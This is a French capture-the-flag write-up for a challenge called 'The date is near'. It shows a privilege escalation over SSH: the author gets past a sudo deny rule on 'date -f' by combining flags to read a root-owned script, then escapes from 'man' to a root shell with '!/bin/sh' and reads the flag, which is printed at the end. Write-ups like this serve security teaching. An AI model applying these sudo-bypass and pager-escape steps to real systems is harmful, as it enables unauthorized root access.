✅ Day 22 - The date is near

  • MISC
  • Date de résolution : 24/12/2024

Reconnaissance

Le chall commence avec une connexion SSH (user = sshuser) et l'objectif est de lire un fichier dans /root/, ce qui signifie une élévation de privilèges.
Pour ceux qui ne font pas ça tous les jours, voici une liste de trucs à faire

On découvre que sshuser a une liste de droits dans sudo :

1sshuser@the-date-is-near:~$ sudo -l
2Matching Defaults entries for sshuser on the-date-is-near:
3    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, !requiretty
4
5User sshuser may run the following commands on the-date-is-near:
6    (ALL) NOPASSWD: /bin/date *, !/bin/date *-f*, !/bin/date *--file*
7    (ALL) NOPASSWD: /usr/bin/dev.sh

On est certainement sur la bonne piste étant donné le titre du chall...
L'admin a bien paramétré la sécurité car il interdit l'usage de date -f qui permet un accès au file system (§ ce site bien utile). Oui mais...

Exploit

Etape 1

Sur la première partie, j'ai un peu transpiré...
On a envie d'utiliser sudo date pour lire le script /usr/bin/dev.sh mais il n'est pas possible d'utiliser le paramètre "-f" ou "--file"
Je me suis donc lancé dans :

  • La lecture du code de date.c
  • La lecture de la doc de getopt_long Et c'est là que j'ai lu ceci : If the first character of optstring is '-', then each nonoption argv-element is handled as if it were the argument of an option with character code 1.

Il est donc possible d'accoler tous les arguments derrière un seul tiret "-" 💡

1sshuser@the-date-is-near:~$ sudo /usr/bin/date -Rf /usr/bin/dev.sh

Etape 2

Et on obtient le script suivant :

 1#!/bin/bash
 2
 3# Check if the --debugmyscript argument is present
 4if [[ "$1" != "--debugmyscript" ]]; then
 5    exit 0  # Exit silently if the --debugmyscript argument is not provided
 6fi
 7
 8# Remove --debugmyscript from the argument list
 9shift
10
11echo "Welcome to the dev.sh script!"
12
13# Function to display help
14function show_help {
15    echo "Usage: $0 [options]"
16    echo
17    echo "Options:"
18    echo "  -l            List all running processes."
19    echo "  -d            Show available disk space."
20    echo "  -m            Show the manual for the printf command."
21    echo "  -h            Show this help message."
22}
23
24# Check if no arguments are provided after --debugmyscript
25if [ $# -eq 0 ]; then
26    echo "Error: No arguments provided."
27    show_help
28    exit 1
29fi
30
31# Process arguments
32while getopts "ldmh" opt; do
33    case $opt in
34        l)
35            echo "Listing running processes:"
36            ps aux
37            ;;
38        d)
39            echo "Displaying available disk space:"
40            df -h
41            ;;
42        m)
43            echo "Displaying the manual for printf:"
44            man printf
45            ;;
46        h)
47            show_help
48            ;;
49        *)
50            echo "Invalid option."
51            show_help
52            exit 1
53            ;;
54    esac
55done

Oooohhhh une commande 'man'🚀

Ca me rappelle un challenge... Où il est possible d'éxecuter une commande une fois la commande man exécutée en saisissant simplement un "!"...

 1sshuser@the-date-is-near:~$ sudo /usr/bin/dev.sh --debugmyscript -m
 2!/bin/sh
 3# ls -la /root
 4total 20
 5drwx------ 1 root root 4096 Dec 22 10:19 .
 6drwxr-xr-x 1 root root 4096 Dec 24 15:33 ..
 7-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
 8-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
 9-rw------- 1 root root   27 Dec 22 10:19 flag-1a0a6a36ca0a3953b997ddaeb722cb31e9e421b038f6a67ef55593f21dcf92b1.txt
10# cat /root/flag-1a0a6a36ca0a3953b997ddaeb722cb31e9e421b038f6a67ef55593f21dcf92b1.txt
11RM{...}
FLAG

The flag is : RM{S4NTA_IS_N0T_4DMIN_SYS}